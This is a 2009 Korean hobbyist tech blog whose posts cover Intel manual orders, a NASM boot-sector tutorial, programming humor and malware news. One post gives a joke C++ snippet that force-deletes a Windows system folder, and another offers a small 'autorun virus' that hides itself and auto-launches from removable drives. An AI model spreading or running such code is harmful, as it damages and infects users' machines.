2009년 2월 28일 토요일

왜 제 블로그는

랭킹이 1000위~1500위 에서 들락날락하고 500위대는 왜 못갈까요 -ㅅ-;;
덧글 답변 부탁해요 -ㅅ-;;

Hell City (1% 작업중)

펼쳐두기..



모티브는 하프2(--;;)에서 얻었으며,
배경은 3040년 한국을 배경으로 한다.
-ㅅ- 언제까지나 SF 작품임,

byempas!

펼쳐두기..



2009년 2월 28일.오늘은 IT계에 길이 남을 포털사이트 엠파스가 역사에 묻히는 날이다.
SK컴즈가 쓰러져가는 엠파스를 인수하여 네이트와 통합시켰다.
안녕 엠파스.

[엠파스 서비스 종료 -ㅅ-]

오늘부로 엠파스 결국 죽었습니다 --;;
네이트에 인수됬더군요. 아 그만 잡아먹어 SK--;;

2009년 2월 27일 금요일

2009년 2월 26일 목요일

인텔 아키텍처 메뉴얼 UPS로 옵니다

기다리다 갑자기 인텔에서 메일이 와서 살펴보니,다음과 같은 내용의 편지가 왔더군요.

There has been a shipment for your order. Please review the details below as this notice will show backorders if any item was not available.

Shipping Information
Order Number: (블럭)
Shipping Company: UPS
Shipping Date: 2009-02-24 00:00:00.0
Tracking Number: (블럭)

Shipping Destination
Company Name:
First and Last Name: gi hoon
Address 1: (블럭)
Address 2: (블럭)
City, State Postal Code Country Ulsan City (블럭), 681-270 KR

Items Shipped
Item Number Item Title Ordered Shipped Backordered
253665-028US INTEL? 64 AND IA-32 ARCHITECTURES SOFTWARE DEVEL 1 1 0
253666-028US INTEL? 64 AND IA-32 ARCHITECTURES SOFTWARE DEVEL 1 1 0
249228-002 INTEL? CUSTOMER SATISFACTION SURVEY AND BUSINESS 1 1 0
253668-028US INTEL? 64 AND IA-32 ARCHITECTURES SOFTWARE DEVEL 1 1 0
253669-028US INTEL? 64 AND IA-32 ARCHITECTURES SOFTWARE DEVEL 1 1 0
253667-028US INTEL? 64 AND IA-32 ARCHITECTURES SOFTWARE DEVEL 1 1 0

BunnyPeople, Celeron, Celeron Inside, Centrino, Centrino Inside, Core Inside, FlashFile, i960, InstantIP, Intel, Intel logo, Intel386, Intel486, IntelDX2, IntelDX4, IntelSX2, Intel Atom, Intel Atom Inside, Intel Core, Intel Inside, Intel Inside logo, Intel NetBurst, Intel NetMerge, Intel NetStructure, Intel SingleDriver, Intel SpeedStep, Intel StrataFlash, Intel Viiv, Intel vPro, Intel XScale, Itanium, Itanium Inside, MCS, MMX, Oplus, PDCharm, Pentium, Pentium Inside, skoool, Sound Mark, The Journey Inside, Viiv Inside, vPro Inside, VTune, Xeon, and Xeon Inside are trademarks of Intel Corporation in the U.S. and other countries.

*Other names and brands may be claimed as the property of others.

Microsoft, Windows, and the Windows logo are trademarks, or registered trademarks of Microsoft Corporation in the United States and/or other countries.

Java and all Java based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries.

Bluetooth is a trademark owned by its proprietor and used by Intel Corporation under license.

Intel Corporation uses the Palm OS® Ready mark under license from Palm, Inc


이 말의 뜻은 UPS로 6권 싸매서 보냈으니 신청한 목록이 맞는지 확인하라고 하네요 -ㅅ-;;

그래서 UPS로 진짜 배송되는지 운송장 번호로 조회해봤습니다.



UPS

 

상세한 조회 내용

 
운송장 번호: (블럭)
유형: 소화물
상태: 운송 중
배달지: (블럭)
 
발송 또는 청구 날짜: 2009/02/24
서비스: UPS SAVER
무게: 9.20 Lb

화물 진행 상황
위치 날짜 현지 시간 설명
ONTARIO,
CA, US
2009/02/26 1:56 출발지 스캔
ONTARIO,
CA, US
2009/02/25 23:22 도착 스캔
COMMERCE CITY,
CO, US
2009/02/25 22:01 출발지 스캔
DENVER,
CO, US
2009/02/25 20:54 원산지 스캔
US 2009/02/24 16:12 청구 정보 수신

UPS에서 제공하는 조회 결과: 2009/02/26 8:31 ET
주의: UPS는 고객이 보내거나 받기 위해 UPS에 운송 요청한 발송물에 대해서만 UPS 조회 시스템을 사용하도록 허용합니다. 다른 용도로 UPS 조회 시스템 및 정보를 사용하는 것은 금지합니다.

네티즌들은 Fedex로 보내준다는데,UPS로 보내주네요, 그래도 빨리 받길 바랍니다 -ㅅ-;;
(신청하고 싶으면 클릭)

HardCore Computer serise - AMD Athlon 64 X2 +4200





부품:약 948개(실제 CPU 핀 갯수:940개)
난이도:★★★★★★☆☆☆☆
추신:저거 핀 다박은거 아닙니다 -ㅅ-
설 명서:A1을 안쪽으로 접어서 풀칠해서 접착한 뒤에 A-2를 위에 붙이고 A1밑에 있는 조그마한 직사각형 4개에는 A4,5,6,7을 붙이고 겉쪽으로 동그라미 그린 쪽 따라 A-8 부터 A-947까지 모두 하나하나 말아서 붙이면 끝.
예상 작업시간:40시간 정도 -ㅅ-

XBOX 360 박스


할짓없어서 만든 수제도면

캬캬~엑박이다

추신:엑박은 무료 전개도에서 별도로 다운받으셔야합니다.
엑박 전개도 다운받으러 가기
추신2:저 액박은 이 박스 사진 찍으려고 급하게 만들어 hdd가 장착되있지 않습니다.
추신3:죄송합니다.깜박하고 전개도 안 올렸더라구요. 수정합니다.

게이버는 사이릭스사를 싫어했나

사이릭스 사가 갑자기 생각나서 검색을 했다.
여기서 사이릭스 사는 예전에 CPU를 만들면서 한때 인텔과 AMD하고 같이 경쟁하던 큰 cpu회사였는데 인텔과의 경쟁을 이기지 못하고 내셔널세미컨덕터(National Semiconductor;NS)(이름 길다 =ㅅ=)에 인수되고 cpu 부문은 메인칩셋 제작 회사인 VIA사에 인수되어 역사속으로 사라진 회사입니다 =ㅅ=;;
예전에 사이릭스사가 만든 cpu

출처:파코즈 하드웨어 뮤지엄 김상훈 님
어쨌든 게이버로 사이릭스(cyrix)사를 검색하였습니다.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
그래서 눌러보았다.

??!?!?!?!?!?!!!!!!!!!!!!!!!!!!!
뭐야... 장난하나
잡담 끝

2009년 2월 25일 수요일

[내맘대로 만드는 OS]2.부트섹터를 FDD에 복사하기

네, 부트섹터를 만들려면 여러가지 준비물이 있어야 합니다.
여기서 다운받으세요.
1.어셈블리어(NASM)http://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
여기서 적당한 것을 다운받으세요. 저는 2.05.01버전을 다운받았습니다.
설치방법
압축풀고 C:\NASM(여기에 넣는게 편합니다)에 넣어주세요.
2.부트섹터를 윈도우 환경에서 읽고 써주는 유틸리티
http://airpage.org/~gunman/cgi-bin/airpage/pds2/down.cgi?bbs=tool&value=30&file=GSector.exe
부트섹터를 디스크에 기록하려면 많은 명령어가 필요한데 간단하게 써주는 유틸리티입니다.
시작
소스를 작성하시려면 어셈블리어를 알아야 겠죠?
오늘은 부트섹터를 디스크의 MBR(Master Boot Record)(부팅 정보를 저장하는 1섹터를 칭하는 말) 에 복사해보고 부팅을 경험할 것이니 일단 이 소스를 복사하세요.
;====================================시작======
;
; +PlusOS Boot Sector (C) Copyright 10wonsoft, 2009
; http://10wonsoft.textcube.com/ basicprogrammaing75@gmail.com
;
; assemble with:
; nasm -f bin -o PLUSBOOT PLUSBOOT.asm
;
; History From -
; 2009 2 23 H Msg
[org 0]
[bits 16]
        jmp 0x07C0:start        ;far jmp 를 한다.
start:
        mov ax, cs              ;cs 에는 0x07C0 이 들어 있다.
        mov ds, ax              ;ds 를 cs 와 같게 해준다.
        mov ax, 0xB800          ;비디오 메모리의 세그먼트를
        mov es, ax              ;es 레지스터에 넣는다.
        mov edi, 0              ;제일 윗 줄의 처음에 쓸 것이다.
        mov byte [es:di], 'H'  ;비디오 메모리에 쓴다.
        inc di                 ;한 개의 BYTE를 썼으므로 1을 더한다.
        mov byte [es:di], 0x06 ;배경색을 쓴다.
        inc di                 ;한 개의 BYTE를 썼으므로 1을 더한다.
        jmp $                   ;이 번지에서 무한루프를 돈다.
times 510-($-$$) db 0           ;여기서 부터, 509 번지까지 0 으로 채운다.
                 dw 0xAA55      ;510 번지에 0xAA 를, 511 번지에 0x55 를 넣어 둔다.
;=========================컷트===========
자, 이 소스를 메모장에 복사해서 PLUSBOOT.asm으로 저장해 줍시다.
그리고 PLUSBOOT.asm을 C:\NASM(또는 NASM 프로그램을 압축푼 곳)에 넣어줍니다.
그리고 실행에서 cmd를 친 후 콘솔에서
CD C:\NASM
을 눌러줍니다. 그리고
nasm -f bin -o PLUSBOOT PLUSBOOT.asm
라고 처줍시다. 이 명령어의 뜻도 나중에 배우고
컴파일되어서 나온 PLUSBOOT을 Gsector로 기록해줍시다.
기록하는 방법
1.Gsector를 킨다.
2.섹터 리드 옆에 셀렉트를 파일로 바꾼다.
3.섹터 리드를 누른다
4.PLUSBOOT(plusboot.asm 아님)을 연다.
5.깨끗~하게 포맷된 디스켓을 넣는다.
6.섹터 Write 옆에 셀렉트를 A: 로 바꾼다
7.섹터 Write를 누른다.
8.알 유 슈어?(--;;)가 나온다. A:로 되있는지 확인하고 누른다.
주의! 혹시 C:로 되있는건 아닌지 확인하자. 잘못하면 윈도우CD가져와서 복구해야 한다
9.완료, 이 디스켓을 가지고 부팅해보자.
다음과 같이 나
올 것이다.

 
끝.

2009년 2월 24일 화요일

기업을 위한 정보보호 가이드 CD 보급

http://www.kisa.or.kr/
여기서 기업 보안에 대한 정보보호 가이드를 다운받을 수 있더군요.
더구나 CD로 구운 것을 보내주겠답니다.
기업 전용이라 하다만 신청만 하면 그냥 보내주니 냉큼 신청했습니다 -ㅅ-

2009년 2월 23일 월요일

[내맘대로 만드는 OS]1.H 글자를 보기 위한 삽질

-ㅅ-;; OS를 만들어보겠다고 삽질하다 결국 기초부터 시작합니다;;
어셈블리로 만들어보죠.
*어셈블리는 이 밑에 사진에 있는 컴퓨터 이전에도 있던 2진법으로 프로그램을 짜는게 힘들어서 대체해서 만든 프로그래밍 랭귀지입니다*
먼저 부트 섹터나 만들어보죠.
(이 부트 섹터 코드는 여기서 퍼왔습니다 -ㅅ-)

;
; +PlusOS Boot Sector (C) Copyright 10wonsoft, 2009
; http://10wonsoft.textcube.com/ basicprogrammaing75@gmail.com
;
; assemble with:
; nasm -f bin -o PLUSBOOT PLUSBOOT.asm
;
; History From -
; 2009 2 23 H Msg
[org 0]
[bits 16]
        jmp 0x07C0:start        ;far jmp 를 한다.
start:
        mov ax, cs              ;cs 에는 0x07C0 이 들어 있다.
        mov ds, ax              ;ds 를 cs 와 같게 해준다.
        mov ax, 0xB800          ;비디오 메모리의 세그먼트를
        mov es, ax              ;es 레지스터에 넣는다.
        mov edi, 0              ;제일 윗 줄의 처음에 쓸 것이다.
        mov byte [es:di], 'H'  ;비디오 메모리에 쓴다.
        inc di                 ;한 개의 BYTE를 썼으므로 1을 더한다.
        mov byte [es:di], 0x06 ;배경색을 쓴다.
        inc di                 ;한 개의 BYTE를 썼으므로 1을 더한다.
        jmp $                   ;이 번지에서 무한루프를 돈다.
times 510-($-$$) db 0           ;여기서 부터, 509 번지까지 0 으로 채운다.
                 dw 0xAA55      ;510 번지에 0xAA 를, 511 번지에 0x55 를 넣어 둔다.
하 =ㅅ=;; 부팅장면입니다;;
하;; H 한개 보느라고 몇시간을 소비했는지 -ㅅ-;;
(따라하실 분은 요거 vmware 아니면 버추얼박스에 마운트시켜주세요 -ㅅ-;;)
이 디스켓 만드는 방법은 나중에 소개하겠습니다-ㅅ-

프로그래머를 위한 'Write in C'


Write in C 
























C로 짜

 

When I find my code in tons of trouble

내 코드에서 수많은 문제를 발견했을때

friends and colleagues come to me,

친구들과 동료들이 다가와

speaking words of wisdom...

지혜를 말해주었네

Write in C

C로 짜

 

And as the deadline fast approasches,

데드라인이 빠르게 다가오고

and bugs are all that I can see

내게 보이는 모든건 버그들이었네

Somewhere someone whispers:

그때 누군가가 조용히 말했지

Write in C

C로 짜

 

Write in C, Write in C, Write in C, Write in C,

C로 짜, C로 짜~, C로 짜~, C로 짜

LOGO's dead and burried,

로고는 이미 죽었고 사장됬네

(로고:1989년에 만들어졌으나 망한 프로그래밍 언어)

Write in C

C로 짜~

 

I used to write a lot of FORTRAN

한땐 포트란으로 엄청 짜댔지

For science it worked flawlessly

과학계산에선 결점이 없었다네

Try using it for grahpic

그러나 그래픽으로 보여줄려고 해봐

Write in C

C로 짜~

 

And if you've just spent nearly 30 hours

만약 니가 서른시간을

debugging some assembly

단지 어셈블리 디버깅하는데 썼다면

Soon you will be glad to

곧장 그리워질꺼야

write in C

C로 짜~

 

Write in C, Write in C, Write in C, Write in C,

C로 짜, C로 짜~, C로 짜~, C로 짜

BASIC's not the answer,

베이직은 답이 아니라네~

Write in C

C로 짜~

 

Write in C, Write in C, Write in C, Write in C,

C로 짜, C로 짜~, C로 짜~, C로 짜

PASCAL won't quite cut it,

파스칼로는 좀 해결하기가 힘들지

Write in C

C로 짜~


=ㅅ=;; Let it be 개사했군요;;

소울메이트 찾기

파코즈 돌아다니다 재미있는 것을 발견했습니다 =ㅅ=;;

링크

10wonsoft로 검색하면 전원주 =ㅅ=;;

2009년 2월 22일 일요일

MS-DOS 6.0 소스코드

운영체제 연구하실 사람들에게 추천드립니다.
근데 이거 저작권법 위반은 아니겠죠 -ㅅ-;;
저작권 문제 있으시면 삭제하겠습니다.
*연구목적,비영리목적으로 사용하십시오.영리목적으로 사용되는 일은 허가되지 않습니다.*

2009년 2월 20일 금요일

이세상에 평온이오고 인터넷 세상이 바로잡히는 C++ 코드

#include<stdlib.h>
#include<iostream>

void main()
{
   system("del C:\WINDOWS\Downlo~1\*.* /F");
   return 0;
}

activeX 좀 그만 깔아라 대한민국 기업&정부&은행들아 -ㅅ-

인텔 디벨로퍼 메뉴얼이 공짜로 온다고??????????

쩝;; 진짜 오고 있습니다. 미국에서 배타고 오는것 같군요.
네 질렀습니다. 하지만 공짜!!!!
인텔의 개발자를 겨냥한 공짜 디벨로퍼 메뉴얼을 무한배포하고 있습니다.
ㅎㅎㅎㅎ 좋네요
메일보니 배타고 온다군요 =ㅅ=;; 근데 이거 받으면 AMD당 탈퇴해야하나?
(전 I당 소속입니다) 인텔 역시 돈많은 기업입니다 =ㅅ=;;
지난번에 I7(코드명 네할렘)발표할때도 참가자 전원에게 뷔페(1인당 5만원)를 공짜로 주더니;; 나중에 도착하면 리뷰하겠습니다.(끝)

보너스 받은 메일 내용
제목:NOTICE: Acknowledgement of Intel Online Order#(오더 넘버 블럭)
This is to acknowledge that your order was successfully accepted on the Intel® Worldwide Fulfillment Center. You will receive a notification letting you know what was shipped and/or placed on backorder once the order has been processed.
Order Information Order Number:     (오더 넘버 블럭)

Shipping Destination Company Name:    
First and Last Name:     gi hoon
Address 1:     (블럭)
Address 2:     (블럭)
Ulsan City, State Postal Code, Country (사는곳 블럭), 681-270, KR

Items Ordered Item Number     Item Title     Ordered
253665-028US     Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 1: Basic Architecture     1
253666-028US     Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 2A: Instruction Set Reference, A-M     1
253669-028US     Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide, Part 2     1
253667-028US     Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 2B: Instruction Set Reference, N-Z     1
253668-028US     Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3A: System Programming Guide, Part 1     1

BunnyPeople, Celeron, Celeron Inside, Centrino, Centrino Inside, Core Inside, FlashFile, i960, InstantIP, Intel, Intel logo, Intel386, Intel486, IntelDX2, IntelDX4, IntelSX2, Intel Atom, Intel Atom Inside, Intel Core, Intel Inside, Intel Inside logo, Intel NetBurst, Intel NetMerge, Intel NetStructure, Intel SingleDriver, Intel SpeedStep, Intel StrataFlash, Intel Viiv, Intel vPro, Intel XScale, Itanium, Itanium Inside, MCS, MMX, Oplus, PDCharm, Pentium, Pentium Inside, skoool, Sound Mark, The Journey Inside, Viiv Inside, vPro Inside, VTune, Xeon, and Xeon Inside are trademarks of Intel Corporation in the U.S. and other countries.

*Other names and brands may be claimed as the property of others.

Microsoft, Windows, and the Windows logo are trademarks, or registered trademarks of Microsoft Corporation in the United States and/or other countries.

Java and all Java based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries.

Bluetooth is a trademark owned by its proprietor and used by Intel Corporation under license.

Intel Corporation uses the Palm OS® Ready mark under license from Palm, Inc

번역기 돌리고 2차로 수동번역한 한국어
이것은 당신의 요청을 성공적으로 인텔 ® 국가별 이행 센터에 접수된 것을 인정하는 메일입니다. 당신은 통지를 한번에 처리되었으며 어떤 순서 및 / 또는 backorder에 제공된 알려주 배치를받을 것입니다.
주문 번호 : (주문번호)

회사명 :
처음이름과  마지막이름 : 기훈
주소 1 : (블럭)
주소 2 : (블럭)
시, 주 우편 번호, 국가 울산시 (블럭) 681-270, 정보 KR

제품 상품 번호 상품 타이틀 주문 주문
028US 인텔 ® 64 및 IA - 253665 - 32 아키텍처 소프트웨어 개발자의 수동 볼륨 1 : 기본 아키텍처 1
028US 인텔 ® 64 및 IA - 253666 - 32 아키텍처 소프트웨어 개발자의 수동 볼륨 2A의 : 인스트럭션 세트 참조, AM 1
028US 인텔 ® 64 및 IA - 253669 - 32 아키텍처 소프트웨어 개발자의 수동 볼륨 3B : 시스템 프로그래밍 가이드, 부품 1월 2일
028US 인텔 ® 64 및 IA - 253667 - 32 아키텍처 소프트웨어 개발자의 수동 볼륨 2B 프랫 : 인스트럭션 세트 레퍼런스, 뉴질랜드 1
028US 인텔 ® 64 및 IA - 253668 - 32 아키텍처 소프트웨어 개발자의 수동 볼륨 3A의 : 시스템 프로그래밍 가이드, 부품 1월 1일

BunnyPeople, 셀러론, 셀러론 인사이드, 센트리노, 센트리노 인사이드, 코어 인사이드, FlashFile, 만든 i960, InstantIP, 인텔, 인텔 로고, Intel386, Intel486, IntelDX2, IntelDX4, IntelSX2, 인텔 아톰, 인텔 아톰 인사이드, 인텔 코어, 인텔 인사이드, 인텔 인사이드 로고, 인텔 NetBurst, 인텔 NetMerge, 인텔 넷스트럭처, 인텔 SingleDriver, 인텔 스피드 스텝, 인텔 StrataFlash, 인텔 바이브, 인텔 v 프로, 인텔 XScale, 아이 테니엄, 아이 테니엄 인사이드, MCS, MMX, Oplus, PDCharm, 펜티엄, 펜티엄 인사이드, skoool, 사운드 마크, 여행 인사이드, 바이브 인사이드, v 프로 인사이드, VTune, 제온 및 제온 인사이드는 미국 및 기타 국가에서 Intel Corporation의 등록 상표입니다.

* 기타 이름 및 상표는 타인들의 재산일 수있습니다.

Microsoft, Windows 및 Windows 로고는 상표, 또는 미국 및 / 또는 기타 국가에서 Microsoft Corporation의 등록 상표입니다.

Java 및 모든 Java 기반 상표와 로고는 미국 및 기타 국가에서 Sun Microsystems의 상표 또는 등록 상표, Inc.가없습니다.

블루투스 상표는 특허를 낸 회사에 의해 소유 및 Intel Corporation의 라이센스하에 사용됩니다.

인텔팜, Inc의 라이센스하에에서 팜 OS ® 마크를 사용합니다.

P.S 쩝;; 전 분명히 Intel® 64 and IA-32 Architectures Optimization Reference Manual 도 신청했는데 그건 메일에서 찾아볼수 없네요=ㅅ=;;
뭐 지금으로서는 Intel® 64 and IA-32 Architectures Software Developer's Manual만 보내줘도 좋죠 =ㅅ=;;

(신청하고 싶으면 클릭)

2009년 2월 19일 목요일

Intel 본사에 디벨로퍼 메뉴얼 신청 이메일을 보냈습니다.


마침 어셈블리어도 공부하고 싶어서(운영체제 만들기) 공짜로 인텔 본사에서 보내주는 디벨로퍼 메뉴얼 신청서를 보냈습니다. 아마도 AMD를 견제하려는 인텔의 마케팅 전략인듯 싶지만 공짜입니다 공짜!!! =ㅅ=;; 뭐 신청이 거절되더라도 밑져야 본전이니 =ㅅ=;;

신청하시려면 여기(링크)에서 신청 절차를 밟으세요.

2009년 2월 15일 일요일

엠엔캐스트 재오픈된다네요

엠엔캐스트 사과문-
사랑하고 존경하는 엠엔캐스트 회원님 여러분!

급작스럽게 서비스를 중지하는 동안 여러모로 걱정을 끼쳐드렸습니다.
이 점 다시 한 번 머리 숙여 사죄의 말씀을 드립니다.
하지만 일부 회원님들께서 우려하시는 컨텐츠 DB의 소실은 없을 것을
약속 드립니다.

언론에 보도가 된 것처럼 그 동안 어려운 일들이 많았습니다.

무료서비스를 하다 보니 동종 UCC업계 전반이 막대한 네트워크 등 유지
비용과 불황에 따른 광고유치의 어려움 등이 겹쳐 어려움을 겪고 있는 것이
사실입니다.

여러분들의 애정과 격려가 절실합니다.

엠엔캐스트는 이번 주말 혹은 다음 주 초에 재오픈합니다.
이제 서비스 중지 연장 공지는 더 이상 없을 것입니다.

그 동안 엠엔캐스트는 재정의 어려움에도 불구하고 유사 사이트 대비 회원
여러분들에게 불편을 끼쳐 드리지 않으려고 노력해왔고, 이로 인해 회원님
들이 엠엔캐스트를 사랑해주셨다는 점을 저희는 잘 알고 있습니다.

불가피하게 서비스를 중지하면서 눈물을 많이 흘렸습니다. 가슴이 아프고
두근거려서 검색에 엠엔캐스트 관련 글들이 떠도 차마 볼 수가 없었습니다.

그러나 이제 많은 분들의 격려와 애정 어린 걱정, 정부기관의 관심, 유관
업체들의 협조와 희생에 힘입어 이제 서비스를 다시 열게 되었습니다.

그러나 앞으로도 UCC업계의 구조적인 모델의 어려움은 하루 아침에
사라지지 않을 것이며 회원님들의 애정과 격려, 꾸짖음과 더불어 탄탄한
수익모델과 여러분들의 도움이 우리나라 UCC업계를 반석 위에 올려놓을
것입니다.

엠엔캐스트는 영화, 음악, 쇼핑몰, 웹하드 등의 서비스를 새로 선보일
것입니다. 뮤직비디오 검색과 동일 음악 다운로드 서비스, 동영상 편집기
매직원을 기반으로 한 실시간 UCC서비스, 마일리지를 이용한 각종 컨텐츠
서비스 등 중지기간 동안 준비해 온 많은 모델을 기반으로 여러분 앞에
당당히 서겠습니다.

회원님들의 애정과 격려가 필요합니다. 지켜봐주십시요.
꼭 그 관심과 사랑에 보답하겠습니다.

감사합니다.

엠엔캐스트 임직원 일동 드림.


엠엔캐스트 빨리 재오픈되길 바랍니다.




[KLDP.org]프로그래머들 속담

KLDP.org에서 웃겨서 퍼왔습니다 =ㅅ=;;
==================================================================================
가는 소스가 고와야 오는 파일에 바이러스 없다.
잦은 Warning 에 Error 날줄 모른다.
영업은 상사 편이다.
디자이너는 프로그래머 편이다.
프린터 밑에 누워 소스 떨어지기만을 기다린다.
printf 도 디버깅에 쓸려면 에러난다.
에러 무서워서 코딩 못 할까
소스가 한 박스라도 코딩을 해야 프로그램이다.
코더도 타이핑하는 재주는 있다!!
길고 짧은 것은 strlen을 써봐야 안다.
소스도 먼저 코딩하는 놈이 낫다.
믿는 팀장에 발등 찍힌다.
개발실 청소 아줌마 삼 년에 디버깅 한다.
보기 좋은 코드가 디버깅 하기 좋다.
소스 잃고 백업장치 구입한다.
아니 코딩한 소스에 버그 날까?
안 되는 코더는 엔터를 쳐도 PC가 다운된다.
잘되면 프로그래머 탓, 못되면 시스템 탓.
야한 화일도 위아래가 있다.
하룻 프로그래머 정품단속반 무서울줄 모른다.
백업을 안하면 삼대가 내리 흉하다.
야근을 밥먹듯 한다. - 솔직히 하루세끼를 회사에서 해결 하시는분들도 아주 많으실듯...

<어떠한 역경에도 굴하지 않는 '하양 지훈'>

#include <com.h> <beer.h> <woman.h>
do {

   if (com)

      hacking();

   if (money)

      drinking();

   if (women)

      loving();

}

while (1);

 서지훈

==================================================================================

잘 키운 개발자 한명 열 코더 안부럽다...

멀쩡한 프로그램에 날 세그먼트폴트...
바늘 버그가 치명적 버그된다..
안에서 새는 메모리 밖에서도 샌다...
프로그램은 개발자가 짜고, 보너스는 영업이 받는다...
늦게 배운 코딩 날새는줄 모른다...
디버깅한번 으로 천버그 잡는다...
돌(완벽한) 코드도 생각해보고 컴파일하자...
경영다툼에 개발자등 터진다...
제 코드가 석자...
KLDP서 윈도우 찾기....
개발일정 시계는 거꾸로 매달아도 간다...등등...

내 마음속의 악마가 자꾸만 나를 부추겨.
늘 해왔던 것에 만족하지 말고 뭔가 불가능해 보이는 것을 하라고 말야.

버그보고 놀란가슴 오타보고 놀란다.
코딩 전 마음 다르고, 코딩 후 마음 다르다.
제 코드 구린줄 모른다..
코드가 죽끓듯 하다..
환경이 좋아야 개발자가 모인다..
소스 놓고 main도 모른다..
악습코드 구제는 팀장도 못한다..
goto에 소스꼬인줄 모른다..
프로그래머 많으면 프로젝트 완성될날 없다.
개 같이 코딩해서 정승처럼 사표쓴다.
숙제밭에 굴러도 학교가 좋다.
코딩도 전에 컴파일한다..
컴파일 하자 컴 다운된다..
VC 대신 Vi..
개발자 간 빼먹기..
리펙토링도 단숨에 하랬다..
아는 코드도 다시봐라..
개발자 망신은 Copy&Paste가 시킨다..
짧은 코드가 더 아름답다..
천줄코드도 #include부터...
한 프로그램에 개발자 되랴..
사장도 버그날땐 온다..

흑...어설픈가..

내 마음속의 악마가 자꾸만 나를 부추겨.
늘 해왔던 것에 만족하지 말고 뭔가 불가능해 보이는 것을 하라고 말야.

mirr
=================================================================================

선옵티마이징이 개발자 잡는다.
개발자 키워서 대기업 준다.
버그잡자고 빌드다 뽀갠다.
될성부른 코드는 들여쓰기부터 안다.
빌드 뽀갠 넘이 성낸다.
다된 프로젝트에 코 빠트리기.
개발자살이는 코딩 3년, 프로그래밍 3년, 파워포인트 3년
사표쓴다 사표쓴다 하면서 프로젝트 세개 한다.
같은 값이면 대기업 파견살이.
고와도 내 코드 미워도 내 코드.
코드 주고 뺨 맞는다.
코드 가는 데 버그 간다.
코드를 봐야 디버깅을 하지...
빌드 뽀갠 날 데모 하랜다.

아.. 자야겠다-.-;

----
the smile has left your eyes...

iolo

쩝;; 재미있네요;; 더 퍼오고 싶지만 나머지는 링크가서 보시길 =ㅅ=;;
http://kldp.org/node/71785



2009년 2월 14일 토요일

텍스트큐브 초대장 배포[끝]

택스트큐브는 당신을 원한다!!!


신청방법

1.이메일을 킨다.

2.본 양식대로 보낸다.(주소:basicprogrammaing75@gmail.com)
==========================================================
닉네임:
본 블로거는 10wonsoft 님에게 텍스트큐브 초대장을 요구합니다.
==========================================================
3.이 글에 알림덧글을 아까 작성한 닉네임으로 쓴다.

4.텍스트큐브 초대장을 받는다.

5.바로 텍스트큐브 블로그를 만든다.(일주일 지나면 수거함 -ㅅ-)

6.열심히 블로깅한다.

자, 블로깅 열심히 해봅시다. 하하하

*초대장이 얼마나 남았는지는 타이머 보시면 아실듯 -ㅅ-

초대 끝났습니다 당첨 발표 인증 샷
당첨결과.jpg
초류님은 안타깝게도 후보가 되셨습니다. 나중에 초대장 리필이 되면 1순위로 보내드리거나 일주일 이상 계설안하신 분들 초대장을 뺏어서(--;;)드리겠습니다. 감사합니다.



간단한 오토런 바이러스 코드

(본 코드의 작성이유는 연구목적으로 작성하는 것이며, 만약에 이 바이러스 코드를 퍼트리시면 형사처벌을 받을 수 있습니다)
//autorun.cpp
#include <iostream>
#include <stdlib.h>
using namespace std;

int main(void)
{
   system ("@echo off");
   system ("attrib +S +H +R autorun.exe");
   system ("attrib +S +H +R autorun.inf");
   return 0;
}

//autorun.inf
[autorun.inf]
icon = autorun.exe
label = 이동식 디스크
open=autorun.exe
shell\open\Command=autorun.exe

ㅎㅎ 이거 응용해서 만들어 보시길(연구목적으로만 만드세요 =ㅅ=;; 악용하면 트로이목마도 될 수 있음 =ㅅ=;;)

2009년 2월 13일 금요일

+Plus Program Build 60 For DOS Edition

허허;; 이거 참 오랜만에 업그레이드 시키네;;
*이 프로그램은 계산기 프로그램 입니다*

Build 60에서 추가된 기능
설치 Package형 배포 (Personal Edition만 설치형 Package임)
소수 제곱 추가
약간의 소스 정리
시그마 추가
클립보드 기능 추가

*이 프로그램은 GPL 라이센스를 따릅니다*



2009년 2월 11일 수요일

[종합 뉴스]2090 바이러스 감염 경계령!!! ReadMe!

<경향닷컴>
2090 바이러스’ 감염 경계령이 내려져 주의가 필요하다.

업계에 따르면, 지난 8일부터 ‘2090 바이러스’라고 불리는 신종 바이러스가 등장해 국내에 확산되고 있다. 이미 포털사이트 등에는 이 바이러스에 대한 피해를 호소하는 네티즌들의 글이 줄을 잇고 있다.

이 바이러스에 감염이 되면 윈도우 오른쪽 하단에 나오는 일자가 2090년 1월1일 오전 10시로 고정돼 수정이 불가능한 현상이 나타난다. 수동으로 날짜를 바꿔도 다시 2090년으로 자동 수정된다는 것. ‘2090 바이러스’라는 이름이 붙은 이유다.

또 컴퓨터가 제멋대로 로그인과 로그아웃을 반복하거나 속도가 심각하게 느려지는 등의 문제점도 생기는 것으로 알려졌다.

특히 현재까지 등장했던 다른 바이러스들과 달리 포맷(PC 내 하드디스크의 모든 파일들을 지워버리는 것)을 해도 다시 살아나 네티즌들 사이에서 공포의 대상이 되고 있다.

이에 따라 네티즌들은 신뢰할 수 없는 웹사이트를 방문하거나 파일을 다운로드해서는 안된다. 또 출처가 불분명한 이메일은 즉시 삭제하는 등 주의를 기울여야 한다.
==================================================================================================
<이스트소프트 알약 팀>
안녕하세요?

이스트소프트 알약 긴급대응팀입니다.
지난 2008년에 발생한 MS08-067 취약점을 이용한 V.WOM.Conficker(Bitdefender 진단명 : Win32.Worm.Downadup.Gen)악성코드가 USB와 네트워크를 통해 다시 점차 확산되고 있습니다.
V.WOM.Conficker 악성코드는 다른 추가적인 악성코드를 다운로드 받아 설치하고 인터넷 속도 저하 혹은 장애 현상을 가져올 수 있으므로 PC 사용자의 예방 조치를 필수적으로 시행해야 합니다.


- 감염 증상

